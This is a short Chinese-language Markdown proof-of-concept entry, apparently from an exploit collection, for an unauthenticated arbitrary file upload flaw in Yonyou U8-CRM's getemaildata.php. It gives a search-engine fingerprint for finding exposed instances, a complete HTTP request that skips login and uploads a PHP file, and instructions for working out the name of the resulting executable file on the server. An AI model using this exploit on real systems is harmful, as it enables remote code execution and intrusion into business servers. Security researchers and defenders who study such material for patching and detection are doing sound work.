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37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
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## 用友U8-CRM客户关系管理系统getemaildata.php任意文件上传漏洞
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## hunter
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```
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app.name="用友 CRM"
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```
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## poc
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```
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POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1
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Host:
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQ
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Content-Length: 517
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------WebKitFormBoundarykS5RKgl8t3nwInMQ
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Content-Disposition: form-data; name="file"; filename="test.php "
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Content-Type: text/plain
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<?php phpinfo();?>
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------WebKitFormBoundarykS5RKgl8t3nwInMQ
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```
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上传包中文件的名称后要添加一个空格，不然上传之后不会解析。
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上传之后返回的路径为E:\\U8SOFT\\turbocrm70\\code\\www\\tmpfile\\，文件名称为mhtB356.tmp.mht；文件不解析，需要访问另一个文件（上传之后会在目录下生成两个文件一个tmp.mht文件和一个tmp.php文件），访问的解析文件格式为udp***.tmp.php，星号部分为返回的文件名的十六进制减去一，例如：B356——>45910(十六进制)，45909（十六进制减一）——>b355。
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## 漏洞来源
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- https://mp.weixin.qq.com/s/iCkvHKl-QC5o3gj_t02tmg
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